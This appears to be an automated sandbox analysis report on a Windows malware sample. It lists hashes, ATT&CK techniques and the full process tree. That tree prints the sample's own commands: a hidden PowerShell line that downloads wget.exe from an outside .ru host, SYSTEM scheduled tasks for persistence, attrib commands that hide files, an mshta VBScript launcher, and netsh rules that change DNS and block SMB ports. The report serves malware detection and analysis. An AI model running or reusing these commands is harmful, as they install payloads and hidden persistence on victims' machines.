28e1b6cf6980b009867b8919f68f41203e6796e1f95c3f82c17cf1c5d8ac5b68

Analysis

max time kernel
121s
max time network
121s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
26/05/2024, 02:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe
Size 257KB
Sample240526-dffwssdb75
SHA256 28e1b6cf6980b009867b8919f68f41203e6796e1f95c3f82c17cf1c5d8ac5b68
MD5 741f83e8cec69b1fe32dc48eb147e6cd
SHA1 08e9edcdc15dd687743d3bd8950b217f6e830f8d
SHA512 0999894f9a2b589023fd731ee4b0cbdaf3708a5a325161e42e9e7dff123459b43b3c27fa95dbe614392fc6cf3698ed1ee41eb6d26f015f719a612361bf2a4851
SSDEEP 6144:PsCwu+mWhJifvtNP/7YXSLB80PetF5UhR3prt:kxmIJQvPkitegR3pJ
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

evasion execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://down.ctosus.ru/wget.exe

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2948	powershell.exe

Sets file to hidden 1 TTPs 6 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
2960	attrib.exe
2176	attrib.exe
1608	attrib.exe
1132	attrib.exe
2836	attrib.exe
2848	attrib.exe

Drops file in Windows directory 30 IoCs

description	ioc	Process
File opened for modification	C:\Windows\debug\SYSTEM\settings	741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe
File opened for modification	C:\Windows\debug\SYSTEM\start.bat	attrib.exe
File opened for modification	C:\Windows\debug\SYSTEM\start2.bat	741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe
File created	C:\Windows\debug\SYSTEM\hosts	741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe
File created	C:\Windows\debug\SYSTEM\start.bat	741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe
File opened for modification	C:\Windows\debug\SYSTEM\open.bat	attrib.exe
File opened for modification	C:\Windows\debug\SYSTEM\qc.bat	attrib.exe
File created	C:\Windows\debug\SYSTEM\start2.bat	741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe
File opened for modification	C:\Windows\debug\SYSTEM\install3.bat	741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe
File opened for modification	C:\Windows\debug\SYSTEM\qc.bat	741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe
File opened for modification	C:\Windows\debug\SYSTEM\install3.bat	attrib.exe
File opened for modification	C:\Windows\debug\SYSTEM\down.bat	741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe
File opened for modification	C:\Windows\debug\SYSTEM\hosts	741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe
File created	C:\Windows\debug\SYSTEM\install3.bat	741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe
File opened for modification	C:\Windows\debug\SYSTEM\open.bat	741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe
File opened for modification	C:\Windows\debug\SYSTEM\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\debug\SYSTEM\start.bat	741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe
File created	C:\Windows\debug\SYSTEM\qc.bat	741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe
File created	C:\Windows\debug\SYSTEM\settings	741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe
File opened for modification	C:\Windows\debug\SYSTEM\hosts	attrib.exe
File opened for modification	C:\Windows\Tasks\hook	attrib.exe
File created	C:\Windows\debug\SYSTEM\__tmp_rar_sfx_access_check_259399648	741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe
File opened for modification	C:\Windows\debug\SYSTEM\start2.bat	attrib.exe
File opened for modification	C:\Windows\debug\SYSTEM	attrib.exe
File created	C:\Windows\debug\SYSTEM\down.bat	741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe
File created	C:\Windows\debug\SYSTEM\open.bat	741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe
File opened for modification	C:\Windows\debug\SYSTEM\down.bat	attrib.exe
File opened for modification	C:\Windows\debug\SYSTEM\settings	attrib.exe
File created	C:\Windows\debug\SYSTEM\wget.exe	powershell.exe
File opened for modification	C:\Windows\debug\SYSTEM	741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
800	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2140	schtasks.exe
2688	schtasks.exe

Kills process with taskkill 2 IoCs

evasion

pid	Process
2536	taskkill.exe
2528	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2948	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2536	taskkill.exe
Token: SeDebugPrivilege	2528	taskkill.exe
Token: SeDebugPrivilege	2948	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1500 wrote to memory of 2352	1500	741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe	28
PID 1500 wrote to memory of 2352	1500	741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe	28
PID 1500 wrote to memory of 2352	1500	741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe	28
PID 1500 wrote to memory of 2352	1500	741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe	28
PID 2352 wrote to memory of 2744	2352	cmd.exe	30
PID 2352 wrote to memory of 2744	2352	cmd.exe	30
PID 2352 wrote to memory of 2744	2352	cmd.exe	30
PID 2352 wrote to memory of 2744	2352	cmd.exe	30
PID 2352 wrote to memory of 2904	2352	cmd.exe	31
PID 2352 wrote to memory of 2904	2352	cmd.exe	31
PID 2352 wrote to memory of 2904	2352	cmd.exe	31
PID 2352 wrote to memory of 2904	2352	cmd.exe	31
PID 2352 wrote to memory of 2520	2352	cmd.exe	32
PID 2352 wrote to memory of 2520	2352	cmd.exe	32
PID 2352 wrote to memory of 2520	2352	cmd.exe	32
PID 2352 wrote to memory of 2520	2352	cmd.exe	32
PID 2352 wrote to memory of 2740	2352	cmd.exe	33
PID 2352 wrote to memory of 2740	2352	cmd.exe	33
PID 2352 wrote to memory of 2740	2352	cmd.exe	33
PID 2352 wrote to memory of 2740	2352	cmd.exe	33
PID 2352 wrote to memory of 2536	2352	cmd.exe	34
PID 2352 wrote to memory of 2536	2352	cmd.exe	34
PID 2352 wrote to memory of 2536	2352	cmd.exe	34
PID 2352 wrote to memory of 2536	2352	cmd.exe	34
PID 2352 wrote to memory of 2528	2352	cmd.exe	36
PID 2352 wrote to memory of 2528	2352	cmd.exe	36
PID 2352 wrote to memory of 2528	2352	cmd.exe	36
PID 2352 wrote to memory of 2528	2352	cmd.exe	36
PID 2352 wrote to memory of 2588	2352	cmd.exe	37
PID 2352 wrote to memory of 2588	2352	cmd.exe	37
PID 2352 wrote to memory of 2588	2352	cmd.exe	37
PID 2352 wrote to memory of 2588	2352	cmd.exe	37
PID 2352 wrote to memory of 2680	2352	cmd.exe	38
PID 2352 wrote to memory of 2680	2352	cmd.exe	38
PID 2352 wrote to memory of 2680	2352	cmd.exe	38
PID 2352 wrote to memory of 2680	2352	cmd.exe	38
PID 2352 wrote to memory of 2140	2352	cmd.exe	39
PID 2352 wrote to memory of 2140	2352	cmd.exe	39
PID 2352 wrote to memory of 2140	2352	cmd.exe	39
PID 2352 wrote to memory of 2140	2352	cmd.exe	39
PID 2352 wrote to memory of 2688	2352	cmd.exe	40
PID 2352 wrote to memory of 2688	2352	cmd.exe	40
PID 2352 wrote to memory of 2688	2352	cmd.exe	40
PID 2352 wrote to memory of 2688	2352	cmd.exe	40
PID 2352 wrote to memory of 2836	2352	cmd.exe	41
PID 2352 wrote to memory of 2836	2352	cmd.exe	41
PID 2352 wrote to memory of 2836	2352	cmd.exe	41
PID 2352 wrote to memory of 2836	2352	cmd.exe	41
PID 2352 wrote to memory of 2848	2352	cmd.exe	42
PID 2352 wrote to memory of 2848	2352	cmd.exe	42
PID 2352 wrote to memory of 2848	2352	cmd.exe	42
PID 2352 wrote to memory of 2848	2352	cmd.exe	42
PID 2352 wrote to memory of 2960	2352	cmd.exe	43
PID 2352 wrote to memory of 2960	2352	cmd.exe	43
PID 2352 wrote to memory of 2960	2352	cmd.exe	43
PID 2352 wrote to memory of 2960	2352	cmd.exe	43
PID 2352 wrote to memory of 2176	2352	cmd.exe	44
PID 2352 wrote to memory of 2176	2352	cmd.exe	44
PID 2352 wrote to memory of 2176	2352	cmd.exe	44
PID 2352 wrote to memory of 2176	2352	cmd.exe	44
PID 2352 wrote to memory of 1608	2352	cmd.exe	45
PID 2352 wrote to memory of 1608	2352	cmd.exe	45
PID 2352 wrote to memory of 1608	2352	cmd.exe	45
PID 2352 wrote to memory of 1608	2352	cmd.exe	45

Views/modifies file attributes 1 TTPs 8 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2848	attrib.exe
2960	attrib.exe
2176	attrib.exe
1608	attrib.exe
1132	attrib.exe
2588	attrib.exe
2680	attrib.exe
2836	attrib.exe

C:\Users\Admin\AppData\Local\Temp\741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:1500
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Windows\debug\SYSTEM\start.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2352
- - C:\Windows\SysWOW64\netsh.exe
    netsh interface ip set dns ▒╛╡╪┴¼╜╙ static 114.114.114.114
    3⤵
    PID:2744
- - C:\Windows\SysWOW64\netsh.exe
    netsh interface ip set dns ▒╛╡╪┴¼╜╙1 static 114.114.114.114
    3⤵
    PID:2904
- - C:\Windows\SysWOW64\netsh.exe
    netsh interface ip set dns ▒╛╡╪┴¼╜╙2 static 114.114.114.114
    3⤵
    PID:2520
- - C:\Windows\SysWOW64\netsh.exe
    netsh interface ip set dns ▒╛╡╪┴¼╜╙3 static 114.114.114.114
    3⤵
    PID:2740
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill -f /im svshost.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2536
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill -f /im svshosb.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2528
- - C:\Windows\SysWOW64\attrib.exe
    attrib -S -H C:\ProgramData\Microsoft\test\*
    3⤵
    - Views/modifies file attributes
    PID:2588
- - C:\Windows\SysWOW64\attrib.exe
    attrib -S -H C:\Windows\debug\SYSTEM\*
    3⤵
    - Drops file in Windows directory
    - Views/modifies file attributes
    PID:2680
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /F /create /ru system /sc HOURLY /mo 12 /tn SYSTEM /tr C:\ProgramData\Microsoft\test\down.bat
    3⤵
    - Creates scheduled task(s)
    PID:2140
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /F /create /ru system /sc HOURLY /mo 1 /tn DNS /tr C:\ProgramData\Microsoft\test\open.bat
    3⤵
    - Creates scheduled task(s)
    PID:2688
- - C:\Windows\SysWOW64\attrib.exe
    attrib +S +H C:\ProgramData\Microsoft\test
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:2836
- - C:\Windows\SysWOW64\attrib.exe
    attrib +S +H C:\ProgramData\Microsoft\test\*
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:2848
- - C:\Windows\SysWOW64\attrib.exe
    attrib +S +H C:\Windows\Tasks\hook
    3⤵
    - Sets file to hidden
    - Drops file in Windows directory
    - Views/modifies file attributes
    PID:2960
- - C:\Windows\SysWOW64\attrib.exe
    attrib +S +H C:\ProgramData\Microsoft\test\down.bat
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:2176
- - C:\Windows\SysWOW64\attrib.exe
    attrib +S +H C:\ProgramData\Microsoft\test\open.bat
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:1608
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://down.ctosus.ru/wget.exe','wget.exe');
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2948
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K start2.bat
    3⤵
    PID:1192
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +S +H C:\Windows\debug\SYSTEM
      4⤵
      Sets file to hidden
      Drops file in Windows directory
      Views/modifies file attributes
      PID:1132
  - - C:\Windows\SysWOW64\mshta.exe
      mshta vbscript:createobject("wscript.shell").run("""install3.bat"" h",0)(window.close)
      4⤵
      Modifies Internet Explorer settings
      PID:628
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\Windows\debug\SYSTEM\install3.bat" h"
        5⤵
        
        PID:2488
      - C:\Windows\SysWOW64\sc.exe
        
        SC QUERY ipserces
        6⤵
        Launches sc.exe
        
        PID:800
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh ipsec static add policy name=win
        6⤵
        
        PID:1680
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh ipsec static add filterlist name=Allowlist
        6⤵
        
        PID:2092
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh ipsec static add filterlist name=denylist
        6⤵
        
        PID:2264
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=135
        6⤵
        
        PID:2060
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=137
        6⤵
        
        PID:2496
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=138
        6⤵
        
        PID:320
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=139
        6⤵
        
        PID:1060
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=445
        6⤵
        
        PID:1748
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh ipsec static add filteraction name=Allow action=permit
        6⤵
        
        PID:2964
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh ipsec static add filteraction name=deny action=block
        6⤵
        
        PID:1876
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh ipsec static add rule name=deny1 policy=win filterlist=denylist filteraction=deny
        6⤵
        
        PID:2332
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh ipsec static set policy name=win assign=y
        6⤵
        
        PID:852

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

down.bat

Path C:\Windows\debug\SYSTEM\down.bat
Size 1KB
SHA256 0878c3fa76769414b9ea961fc57fea63df7994080114bfe5d0e4980dd741d522
MD5 096729fb54729b64ae1ee590add071bb
SHA1 0b569e5c7334cb03c9c25db1bdb8a7b7bb2f8253
SHA512 c6980f0879f7c94e04571b8a0437e78612e143f0c2ff86c7be4829bc610fdf8e9be9198e67c45d05c31a277ae27171c3582fc5c7b33a7dd6978f1373d3303d51
MD5 SHA1 SHA512

Submit Download

hosts

Path C:\Windows\debug\SYSTEM\hosts
Size 1KB
SHA256 bea588292363bdaddd7964235da7fce900bcf83febee041909b8bae59bdf0490
MD5 56c1e9bf1194f469332ba1fa136623b7
SHA1 1d7cf7a42013b5be07d32a8cc8e0925a43199843
SHA512 0fb43a746c58f69db4cbd0b94181c6432d22e7d400156b69263da71999449202ada8118a9277e3fc0503867de8c9be974196e8513ee8b16090ec051abfb454ef
MD5 SHA1 SHA512

Submit Download

install3.bat

Path C:\Windows\debug\SYSTEM\install3.bat
Size 1KB
SHA256 48cf7b45778212319ec4725b33c61478020625d87b89420e74739505f6178570
MD5 0a264461649cf53befa5b054d0cee13c
SHA1 8fc653f83063f229dbaaef8f7ae162ff5effec8c
SHA512 b207b2882d479cbd8cc51009b19c26309748c1814b37977ab7bc0db9b5305c61f1f933833a69b5efdadfcec784cd64df28545a20e3a712f73d67a09d43713162
MD5 SHA1 SHA512

Submit Download

open.bat

Path C:\Windows\debug\SYSTEM\open.bat
Size 699B
SHA256 2f9e7abc4583e6214de3a7b2834f6e47cd84d472eb7404d5ee31248e42d0c04d
MD5 aba73ab9033b0d516c0c84a259bad000
SHA1 5ecd89f67f9af314449178998ab1e2f96641dfb7
SHA512 ea0d60c8ca85eecc12b171aeb92527419b0a86b84200f642d5a05606839c8257b027833e8205176fcc5024f2cc4964576a15687a1f8122c588e1eac8504f0a61
MD5 SHA1 SHA512

Submit Download

qc.bat

Path C:\Windows\debug\SYSTEM\qc.bat
Size 1KB
SHA256 976a4ee812dd888062b32f1a17177ce501ab918b9d9189c8cb9ced13161772b9
MD5 4b2f1a42c5f7ab66ef5f7e23a62aa185
SHA1 5380a1a70662f1a89f4b5155fe653145d1531693
SHA512 a6a24d8e9fff2f5452f4b775b75224b126a32c059b205f2406a70ab5ee85e9e2c1fa388ca58f387aa804a968fdd5838d7c51881992d72228450cd7601d1d4a6d
MD5 SHA1 SHA512

Submit Download

settings

Path C:\Windows\debug\SYSTEM\settings
Size 479B
SHA256 1453103c177734f5e9387e4930559df050ea5049dadba447b344c5d94661a524
MD5 031bc696c857d63cf93cdffec7c8b748
SHA1 fbd5b9a024de67c070f5fa67a65c2a20b6a0e507
SHA512 1f0c1a7ab3b28613bfcb89b46aa3e80992f57d971e83ed7b6ebc32c81a11d68486a4d3267eb96ea281d4929f11ee20b0fe8ddd8109d840202924338ed1109d51
MD5 SHA1 SHA512

Submit Download

start.bat

Path C:\Windows\debug\SYSTEM\start.bat
Size 1KB
SHA256 c6b7fba230db87296373b01eaf3b3f0c026985ff22ce0eaa3e4b8ed65086b3f2
MD5 cef23a738c0a01e02b62581b6eddd43f
SHA1 b6ba7afc92d9ce6c57271b5e83cc695dff0dfaa7
SHA512 034d7b890f4a691ddedd8caaae94977c86687a4209b98937d5719fe962cb8f81bb5ac9450a3eeeee9308d6b3b8336327de2007e3f68e22de6f597d1514de8752
MD5 SHA1 SHA512

Submit Download

start2.bat

Path C:\Windows\debug\SYSTEM\start2.bat
Size 605B
SHA256 47c6c38e8edb6e37fdc9d920bcd847da3bb7c51facda3a04eaff30b78177d316
MD5 100ce4525a4d225844471e99a18fa019
SHA1 bc17ab2965e017287ed25860f4d0f32c93259b0a
SHA512 4242fc72509f40eedbb459db53001a59a579b9d59b7817049be589d6906f5c89e6ea7e2e29beecda5a690ca181d214c941bf0beaaff0d8da88b316424dfd6672
MD5 SHA1 SHA512

Submit Download